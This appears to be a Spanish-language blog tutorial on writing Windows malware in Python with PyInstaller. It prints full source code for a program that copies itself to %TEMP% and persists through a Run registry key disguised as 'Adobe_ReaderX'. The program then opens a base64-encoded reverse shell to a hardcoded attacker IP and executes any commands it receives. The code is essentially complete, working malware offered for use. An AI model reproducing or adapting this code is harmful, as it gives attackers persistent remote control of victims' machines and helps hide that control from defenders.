Como escribir un malware en Python

Este tutorial muestra algunas pruebas de concepto para la creación de malware utilizando Python y PyInstaller. En un tutorial anterior hemos demostrado cómo compilar una secuencia de comandos de Python como un ejecutable portable (PE) utilizando PyInstaller.   Ahora vamos a demostrar alguna prueba rápida de concepto de hacer algunas acciones maliciosas en un host de Windows.

Codificación del Malware:

Una de las cosas más comunes que encontrará con malware es que desean obtener la persistencia en la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes son de modificar la clave del Registro siguiente: “Software\Microsoft\Windows\CurrentVersion\Run”.  A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio  %TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:

00.JPG

Ahora que hemos copiado el archivo sobre el directorio% TEMP%, y la persistencia de configuración podemos ejecutar la siguiente parte del código, el shell inversa. Yo apalancadas un shell inversa Python publicado por TrustedSec e hice una modificación – Base64 codifica el tráfico de la red:

00.JPG

Ahora cuando este programa lo ejecuta se abrirá un shell inversa de nuevo a la “atacante”, que en este caso es una IP codificado en el guión, pero podría ser fácilmente de dominio, o tal vez algo en la nube de Amazon. A continuación se muestra una captura de pantalla rápido demostrando el programa se ejecuta en un host de Windows y conectar de nuevo al atacante. Usted puede notar la red de tráfico está codificado en base64:

malware-1024x557

 

Aquí está el código completo:

  1. import sys, base64, os, socket, subprocess
  2. from _winreg import *
  3. def autorun(tempdir, fileName, run):
  4. # Copy executable to %TEMP%:
  5.     os.system('copy %s %s'%(fileName, tempdir))
  6. # Queries Windows registry for the autorun key value
  7. # Stores the key values in runkey array
  8.     key = OpenKey(HKEY_LOCAL_MACHINE, run)
  9.     runkey =[]
  10.     try:
  11.         i = 0
  12.         while True:
  13.             subkey = EnumValue(key, i)
  14.             runkey.append(subkey[0])
  15.             i += 1
  16.     except WindowsError:
  17.         pass
  18. # If the autorun key "Adobe ReaderX" isn't set this will set the key:
  19.     if 'Adobe ReaderX' not in runkey:
  20.         try:
  21.             key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
  22.             SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
  23.             key.Close()
  24.         except WindowsError:
  25.             pass
  26. def shell():
  27. #Base64 encoded reverse shell
  28.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  29.     s.connect(('192.168.56.1', int(443)))
  30.     s.send('[*] Connection Established!')
  31.     while 1:
  32.         data = s.recv(1024)
  33.         if data == "quit": break
  34.         proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  35.         stdout_value = proc.stdout.read() + proc.stderr.read()
  36.         encoded = base64.b64encode(stdout_value)
  37.         s.send(encoded)
  38.         #s.send(stdout_value)
  39.     s.close()
  40. def main():
  41.     tempdir = '%TEMP%'
  42.     fileName = sys.argv[0]
  43.     run = "Software\Microsoft\Windows\CurrentVersion\Run"
  44.     autorun(tempdir, fileName, run)
  45.     shell()
  46. if __name__ == "__main__":
  47.         main()

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s